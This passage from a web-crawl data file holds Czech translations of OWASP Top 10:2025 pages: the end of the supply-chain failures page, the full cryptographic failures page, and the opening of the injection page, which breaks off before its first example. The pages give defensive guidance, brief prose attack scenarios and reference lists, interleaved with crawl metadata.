Vyhnout se nasazování aktualizací na všechny systémy současně. Používat postupná zavádění nebo kanárková nasazení k omezení expozice v případě kompromitace důvěryhodného dodavatele.\n\nMěl by být zaveden proces řízení změn nebo systém sledování za účelem sledování změn v:\n\n- Nastaveních CI/CD (všechny nástroje pro sestavení a pipeline)\n- Repozitářích kódu\n- Sandboxových oblastech\n- Vývojářských IDE\n- Nástrojích SBOM a vytvořených artefaktech\n- Logovacích systémech a logách\n- Integracích třetích stran, například SaaS\n- Repozitářích artefaktů\n- Registrech kontejnerů\n\nZodolnit (hardenovat) následující systémy, což zahrnuje povolení MFA a uzamčení IAM:\n\n- Váš repozitář kódu (což zahrnuje neukládání tajných údajů do repozitáře, ochranu větví, zálohy)\n- Vývojářské pracovní stanice (pravidelné záplatování, MFA, monitorování a další)\n- Váš server pro sestavení a CI/CD (oddělení povinností, řízení přístupu, podepsaná sestavení, tajné údaje s rozsahem na prostředí, logy umožňující zjistit manipulaci, další)\n- Vaše artefakty (zajištění integrity prostřednictvím provenience, podepisování a časového razítkování, povyšování artefaktů namísto opětovného sestavování pro každé prostředí, zajištění neměnnosti sestavení)\n- Infrastrukturu jako kód (spravovanou stejně jako veškerý kód, včetně používání PR a správy verzí)\n\nKaždá organizace musí zajistit průběžný plán monitorování, triáže a aplikování aktualizací nebo změn konfigurace po dobu životnosti aplikace nebo portfolia.\n\n## Příklady scénářů útoků\n\n**Scénář #1:** Důvěryhodný dodavatel je kompromitován malwarem, což vede ke kompromitaci vašich počítačových systémů při upgradu. Nejznámějším příkladem je pravděpodobně:\n\n- Kompromitace SolarWinds v roce 2019, která vedla ke kompromitaci přibližně 18 000 organizací. [https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n\n**Scénář #2:** Důvěryhodný dodavatel je kompromitován tak, že se chová škodlivě pouze za určité podmínky.\n\n- Krádež 1,5 miliardy USD z platformy Bybit v roce 2025 byla způsobena útokem na [dodavatelský řetězec v softwaru peněženky](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/) , který se spustil pouze tehdy, když byla používána cílová peněženka.\n\n**Scénář #3:** [Útok na dodavatelský řetězec Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) v roce 2025 byl prvním úspěšným samostatně se šířícím červem npm. Útoky vložily škodlivé verze populárních balíčků, které pomocí post-install skriptu shromažďovaly a exfiltrovaly citlivá data do veřejných repozitářů GitHub. Malware také detekoval tokeny npm v prostředí oběti a automaticky je používal k nahrání škodlivých verzí jakéhokoli dostupného balíčku. Červ dosáhl více než 500 verzí balíčků, než byl zastaven službou npm. Tento útok na dodavatelský řetězec byl pokročilý, rychle se šířící a způsobující škody a zaměřením na vývojářské stroje prokázal, že samotní vývojáři jsou nyní prvořadými cíli útoků na dodavatelský řetězec.\n\n**Scénář #4:** Komponenty obvykle běží se stejnými oprávněními jako samotná aplikace, takže nedostatky v jakékoli komponentě mohou vést k závažnému dopadu. Takové nedostatky mohou být neúmyslné (např. chyba v kódu) nebo úmyslné (např. zadní vrátka v komponentě). Některé příklady objevených zneužitelných zranitelností komponent jsou:\n\n- CVE-2017-5638, zranitelnost vzdáleného spuštění kódu ve Struts 2, která umožňuje spuštění libovolného kódu na serveru, byla označována za příčinu významných narušení.\n- CVE-2021-44228 („Log4Shell“), zero-day zranitelnost vzdáleného spuštění kódu v Apache Log4j, byla dávána za vinu ransomwaru, kryptominingu a dalším útočným kampaním.\n\n## Reference\n\n- [OWASP Application Security Verification Standard: V15 Secure Coding and Architecture](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet Series: Dependency Graph SBOM](https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n- [OWASP Cheat Sheet Series: Vulnerable Dependency Management](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP CycloneDX](https://owasp.org/www-project-cyclonedx/)\n- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](https://owasp-aasvs.readthedocs.io/en/latest/v1.html)\n- [OWASP Dependency Check (for Java and .NET libraries)](https://owasp.org/www-project-dependency-check/)\n- OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)\n- [OWASP Virtual Patching Best Practices](https://owasp.org/www-community/Virtual_Patching_Best_Practices)\n- [The Unfortunate Reality of Insecure Libraries](https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cve.org)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://retirejs.github.io/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- Ruby Libraries Security Advisory Database and Tools\n- [SAFECode Software Integrity Controls (PDF)](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [Glassworm supply chain attack](https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html)\n- [PhantomRaven supply chain attack campaign](https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html)\n\n## Seznam mapovaných CWE\n\n- [CWE-447 Use of Obsolete Function](https://cwe.mitre.org/data/definitions/447.html)\n- [CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)\n- [CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)\n- [CWE-1329 Reliance on Component That is Not Updateable](https://cwe.mitre.org/data/definitions/1329.html)\n- [CWE-1357 Reliance on Insufficiently Trustworthy Component](https://cwe.mitre.org/data/definitions/1357.html)\n- [CWE-1395 Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html)", "znaku_textu": 11883, "slov": 1382, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:36", "sha256": "9114dfa5ce8212c9c88b9c3bf8587474e791c4087ad1f3e4e8ecbabfaa80b80a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://osv.dev/", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", "https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem", "https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "https://owasp-aasvs.readthedocs.io/en/latest/v1.html", "https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm", "https://www.cve.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/retire.js/", "https://github.com/advisories", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html", "https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html", "https://cwe.mitre.org/data/definitions/447.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1357.html", "https://cwe.mitre.org/data/definitions/1395.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A04_2025-Cryptographic_Failures/", "titulek": "A04 Kryptografická selhání - OWASP Top 10:2025", "h1": "A04:2025 Kryptografická selhání (Cryptographic Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A04_2025-Cryptographic_Failures/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 Kryptografická selhání (Cryptographic Failures)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A04:2025 Kryptografická selhání (Cryptographic Failures)\n\n## Pozadí\n\nTato slabina, která se v žebříčku posunula o dvě pozice níže na 4. místo, se zaměřuje na selhání související s nepoužitím kryptografie, použitím nedostatečně silné kryptografie, únikem kryptografických klíčů a dalšími souvisejícími chybami. Tři z nejčastějších CWE (Common Weakness Enumerations) v rámci tohoto rizika souvisely s použitím slabého pseudonáhodného generátoru čísel: *CWE-327 Use of a Broken or Risky Cryptographic Algorithm, CWE-331: Insufficient Entropy*, *CWE-1241: Use of Predictable Algorithm in Random Number Generator*, a *CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)*.\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13,77 % | 3,80 % | 100,00 % | 47,74 % | 7,23 | 3,90 | 1 665 348 | 2 185 |\n\n## Popis\n\nObecně řečeno by všechna přenášená data měla být šifrována na [transportní vrstvě](https://en.wikipedia.org/wiki/Transport_layer) (vrstva 4 [modelu OSI](https://en.wikipedia.org/wiki/OSI_model)). Dřívější překážky, jako je výkon CPU a správa soukromých klíčů a certifikátů, jsou dnes řešeny jednak procesory s instrukcemi určenými k urychlení šifrování (např. [podpora AES](https://en.wikipedia.org/wiki/AES_instruction_set)) jednak zjednodušenou správou soukromých klíčů a certifikátů prostřednictvím služeb, jako je [LetsEncrypt.org](https://LetsEncrypt.org), přičemž hlavní poskytovatelé cloudových služeb nabízejí pro své konkrétní platformy ještě těsněji integrované služby správy certifikátů.\n\nKromě zabezpečení transportní vrstvy je důležité určit, která data vyžadují šifrování v klidu a která data vyžadují dodatečné šifrování při přenosu (na [aplikační vrstvě](https://en.wikipedia.org/wiki/Application_layer), 7. vrstvě modelu OSI). Například hesla, čísla kreditních karet, zdravotní záznamy, osobní údaje a obchodní tajemství vyžadují zvláštní ochranu, zejména pokud se na tato data vztahují právní předpisy na ochranu soukromí, např. obecné nařízení EU o ochraně osobních údajů (GDPR), nebo standardy jako PCI Data Security Standard (PCI DSS). Pro všechna taková data (je třeba posoudit následující skutečnosti):\n\n- Nejsou používány zastaralé nebo slabé kryptografické algoritmy či protokoly, a to buď ve výchozím nastavení, nebo ve starším kódu?\n- Nejsou používány výchozí kryptografické klíče, nejsou generovány slabé kryptografické klíče, nejsou klíče znovu používány a nechybí řádná správa a rotace klíčů?\n- Nejsou kryptografické klíče commitovány do repozitářů zdrojového kódu?\n- Je šifrování vynucováno (tj. nechybí některé bezpečnostní direktivy nebo hlavičky HTTP (prohlížeče))?\n- Je přijatý serverový certifikát a řetězec důvěry správně ověřován?\n- Nejsou inicializační vektory ignorovány, znovu používány nebo generovány nedostatečně bezpečně pro použitý režim činnosti kryptografického algoritmu? Není používán nezabezpečený režim činnosti, jako je ECB? Není používáno neautentizované šifrování v případech, kdy je vhodnější autentizované šifrování?\n- Nejsou hesla používána jako kryptografické klíče bez použití funkce pro odvození klíče z hesla (KDF)?\n- Není používána náhodnost, která nebyla navržena tak, aby splňovala kryptografické požadavky? Pokud je zvolena správná funkce, nevyžaduje seedování ze strany vývojáře, a pokud ano, nebyl mechanismus silného seedování přepsán seedem s nedostatečnou entropií/nepředvídatelností?\n- Nejsou používány zastaralé hashovací funkce, jako MD5 nebo SHA1, nebo nejsou používány nekryptografické hashovací funkce v případech, kdy jsou vyžadovány kryptografické hashovací funkce?\n- Nejsou kryptografické chybové zprávy nebo informace z vedlejších kanálů zneužitelné, např. formou útoků typu padding oracle?\n- Nelze kryptografický algoritmus downgradovat nebo obejít?\n\nViz reference ASVS: Cryptography (V11), Secure Communication (V12) a Data Protection (V14).\n\n## Jak tomu zabránit\n\nProveďte alespoň následující kroky a prostudujte odkazy:\n\n- Klasifikujte a označujte data, která aplikace zpracovává, ukládá nebo přenáší. Identifikujte, která data jsou citlivá, podle zákonů na ochranu soukromí, regulatorních požadavků nebo byznysových potřeb.\n- Nejcitlivější klíče ukládejte do hardwarového nebo cloudového HSM (Hardware Security Module).\n- Používejte dobře důvěryhodné implementace kryptografických algoritmů, kdykoli je to možné.\n- Neukládejte citlivá data zbytečně. Zahoďte je co nejdříve nebo použijte tokenizaci v souladu s PCI DSS, nebo i trunkaci. Data, která nejsou uchovávána, nemohou být ukradena.\n- Ujistěte se, že jsou všechna citlivá data v klidovém stavu šifrována.\n- Zajistěte, aby byly používány aktuální a silné standardní algoritmy, protokoly a klíče; používejte správnou správu klíčů.\n- Šifrujte všechna data při přenosu pouze pomocí protokolů ≥ TLS 1.2, se šiframi s forward secrecy (FS), ukončete podporu šifer cipher block chaining (CBC), podporujte algoritmy pro kvantovou výměnu klíčů. Pro HTTPS vynucujte šifrování pomocí HTTP Strict Transport Security (HSTS). Vše prověřujte pomocí nástroje.\n- Zakažte ukládání do mezipaměti pro odpovědi, které obsahují citlivá data. To zahrnuje ukládání do mezipaměti ve vašem CDN, webovém serveru a jakékoli aplikační mezipaměti (např. Redis).\n- Použijte požadované bezpečnostní kontroly podle klasifikace dat.\n- Nepoužívejte nešifrované protokoly, jako jsou FTP a STARTTLS. Vyhněte se používání SMTP pro přenos důvěrných dat.\n- Ukládejte hesla pomocí silných adaptivních a solí opatřených hashovacích funkcí s pracovním faktorem (faktorem zpoždění), jako jsou Argon2, yescrypt, scrypt nebo PBKDF2-HMAC-SHA-512. Pro starší systémy používající bcrypt získejte další doporučení v [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) .\n- Inicializační vektory musí být voleny vhodně pro daný režim činnosti. To může znamenat použití CSPRNG (kryptograficky bezpečného pseudonáhodného generátoru čísel). Pro režimy, které vyžadují nonce, inicializační vektor (IV) nemusí používat CSPRNG. Ve všech případech by IV nikdy neměl být použit dvakrát s použitím téhož klíče.\n- Vždy používejte autentizované šifrování namísto pouhého šifrování.\n- Klíče by měly být generovány kryptograficky náhodně a ukládány v paměti jako pole bajtů. Pokud je použito heslo, musí být převedeno na klíč pomocí vhodné heslem založené funkce pro odvození klíče.\n- Zajistěte, aby byla kryptografická náhodnost používána tam, kde je to vhodné, a aby nebyla seedována předvídatelným způsobem nebo s nízkou entropií. Většina moderních API nevyžaduje, aby vývojář seedoval CSPRNG, aby bylo bezpečné.\n- Vyhýbejte se zastaralým kryptografickým funkcím, metodám blokové konstrukce a schématům vycpávání (padding), jako jsou MD5, SHA1, Cipher Block Chaining Mode (CBC), PKCS number 1 v1.5.\n- Zajistěte, aby nastavení a konfigurace splňovaly bezpečnostní požadavky tím, že budou přezkoumány bezpečnostními specialisty, nástroji určenými k tomuto účelu, nebo obojím.\n- Potřebujete se již nyní připravit na post-kvantovou kryptografii (PQC), viz odkaz (ENISA), aby systémy s vysokým rizikem byly bezpečné nejpozději do konce roku 2030.\n\n## Příklady scénářů útoků\n\n**Scénář #1**: Webová aplikace nepoužívá nebo nevynucuje TLS pro všechny stránky, případně podporuje slabé šifrování. Útočník monitoruje síťový provoz (například v nezabezpečené bezdrátové síti), provede downgrade spojení z HTTPS na HTTP, zachytí požadavky a ukradne session cookie uživatele. Útočník tuto cookie následně přehraje (replay) a unese (autentizovanou) relaci uživatele, čímž získá přístup k soukromým datům uživatele nebo je může měnit. Namísto výše uvedeného může také měnit veškerá přenášená data, například příjemce peněžního převodu.\n\n**Scénář #2**: Databáze hesel používá k ukládání hesel všech uživatelů nesolené nebo jednoduché hashovací funkce. Chyba v nahrávání souborů umožní útočníkovi získat databázi hesel. Všechny nesolené hashe mohou být odhaleny pomocí rainbow tabulky s předpočítanými hashi. Hashe generované jednoduchými nebo rychlými hashovacími funkcemi mohou být prolomeny pomocí GPU, i když byly solené.\n\n## Reference\n\n- [OWASP Proactive Controls: C2: Use Cryptography to Protect Data](https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/)\n- [OWASP Application Security Verification Standard (ASVS):](https://owasp.org/www-project-application-security-verification-standard) [V11,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md) [12,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md) [14](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n- [ENISA: A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography](https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography)\n- [NIST Releases First 3 Finalized Post-Quantum Encryption Standards](https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards)\n\n## Seznam mapovaných CWE\n\n- [CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)\n- [CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)\n- [CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-320 Key Management Errors (Prohibited)](https://cwe.mitre.org/data/definitions/320.html)\n- [CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)\n- [CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)\n- [CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)\n- [CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)\n- [CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)\n- [CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)\n- [CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)\n- [CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)\n- [CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)\n- [CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)\n- [CWE-332 Insufficient Entropy in PRNG](https://cwe.mitre.org/data/definitions/332.html)\n- [CWE-334 Small Space of Random Values](https://cwe.mitre.org/data/definitions/334.html)\n- [CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)\n- [CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)\n- [CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)\n- [CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)\n- [CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)\n- [CWE-342 Predictable Exact Value from Previous Values](https://cwe.mitre.org/data/definitions/342.html)\n- [CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)\n- [CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)\n- [CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)\n- [CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)\n- [CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)\n- [CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)\n- [CWE-1240 Use of a Cryptographic Primitive with a Risky Implementation](https://cwe.mitre.org/data/definitions/1240.html)\n- [CWE-1241 Use of Predictable Algorithm in Random Number Generator](https://cwe.mitre.org/data/definitions/1241.html)", "znaku_textu": 13289, "slov": 1440, "odkazu": 85, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:36", "sha256": "c3c5cc3cacc93e05667966ffb404426d314154a3e4f638371b0ccb4f60bcc3db", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://en.wikipedia.org/wiki/Transport_layer", "https://en.wikipedia.org/wiki/OSI_model", "https://en.wikipedia.org/wiki/AES_instruction_set", "https://letsencrypt.org/", "https://en.wikipedia.org/wiki/Application_layer", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography", "https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cwe.mitre.org/data/definitions/1241.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A05_2025-Injection/", "titulek": "A05 Injekce - OWASP Top 10:2025", "h1": "A05:2025 Injekce (Injection)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A05_2025-Injection/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 Injekce (Injection)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A05:2025 Injekce (Injection)\n\n## Pozadí\n\nInjekce (Injection) klesá o dvě pozice z 3. na 5. v pořadí a zachovává relativní pozici vůči A04:2025-Kryptografická selhání (Cryptographic Failures) a A06:2025-Nezabezpečený návrh (Insecure Design). Injekce je jednou z nejvíce testovaných kategorií, přičemž 100 % aplikací je testováno na nějakou formu injekce. Má největší počet CVE ze všech kategorií, přičemž zahrnuje 37 CWE. Injekce zahrnuje Cross-site Scripting (vysoká četnost / nízký dopad) s více než 30 000 CVE a SQL Injection (nízká četnost / vysoký dopad) s více než 14 000 CVE. Masivní počet nahlášených CVE pro CWE-79 Improper Neutralization of Input During Web Page Generation („Cross-site Scripting“) snižuje průměrný vážený dopad této kategorie.\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13,77 % | 3,08 % | 100,00 % | 42,93 % | 7,15 | 4,32 | 1 404 249 | 62 445 |\n\n## Popis\n\nZranitelnost typu injekce je chyba aplikace, která umožňuje odeslat nedůvěryhodný uživatelský vstup do interpretu (např. prohlížeči, databázi nebo příkazové řádce) a způsobuje, že interpret provede části tohoto vstupu jako příkazy.\n\nAplikace je zranitelná vůči útoku, pokud:\n\n- Uživatelem dodaná data nejsou aplikací validována, filtrována ani sanitizována.\n- Dynamické dotazy nebo volání bez parametrizace a bez kontextově závislého escapování jsou používány přímo v interpretu.\n- Neočištěná (nesanitizovaná) data jsou použita v parametrech vyhledávání ORM (objektově-relační mapování) k získání dalších citlivých záznamů.\n- Potenciálně nepřátelská data jsou přímo použita nebo zřetězena. Výsledný SQL dotaz nebo příkaz pak obsahuje jak strukturu, tak i škodlivá data – v dynamických dotazech, příkazech nebo uložených procedurách.\n\nMezi nejčastější typy injekcí patří SQL, NoSQL, OS command, Object Relational Mapping (ORM), LDAP a Expression Language (EL) nebo Object Graph Navigation Library (OGNL) injekce. Princip je napříč interpretry stejný. Detekce se nejlépe provádí kombinací kontroly zdrojového kódu a automatizovaného testování (včetně fuzzingu) všech vstupů: parametrů, hlaviček, URL, cookies a datových vstupů ve formátech JSON, SOAP a XML. Zařazení nástrojů SAST, DAST a IAST do CI/CD pipeline může pomoci odhalit injekční zranitelnosti ještě před nasazením do produkce.\n\nV souvislosti s LLM se rozšířila i příbuzná třída injekčních zranitelností. Těm se samostatně věnuje [OWASP LLM Top 10](https://genai.owasp.org/llm-top-10/), konkrétně [LLM01:2025 Prompt Injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/).\n\n## Jak tomu zabránit\n\nNejlepší způsob, jak zabránit injekci, vyžaduje oddělit data od příkazů a dotazů:\n\n- Preferovanou možností je použití bezpečného API, které se zcela vyhne použití interpretu, poskytuje parametrizované rozhraní nebo umožní migraci na nástroje pro objektově-relační mapování (ORM). **Poznámka:** I když jsou uložené procedury parametrizované, mohou stále vést k SQL injekci, pokud PL/SQL nebo T-SQL zřetězí dotazy a data nebo vykoná nepřátelská data pomocí EXECUTE IMMEDIATE nebo exec().\n\nPokud není možné oddělit data od příkazů, můžete hrozby snížit pomocí následujících technik.\n\n- Používejte pozitivní validaci vstupů na straně serveru. Nejedná se o úplnou ochranu, protože mnoho aplikací vyžaduje speciální znaky, například v textových polích nebo v API pro mobilní aplikace.\n- U všech zbývajících dynamických dotazů escapujte speciální znaky pomocí konkrétní escape syntaxe daného interpretu. **Poznámka:** SQL struktury, jako jsou názvy tabulek, názvy sloupců apod., nelze escapovat, a proto jsou názvy struktur dodané uživatelem nebezpečné. Jde o běžný problém v softwaru pro tvorbu reportů.\n\n**Upozornění:** Tyto techniky zahrnují parsování a escapování složitých řetězců, což je činí náchylnými k chybám a málo odolnými vůči drobným změnám v základním systému.\n\n## Příklady scénářů útoků\n\n**Scénář #1:** Aplikace používá nedůvěryhodná data při sestavování následujícího zranitelného 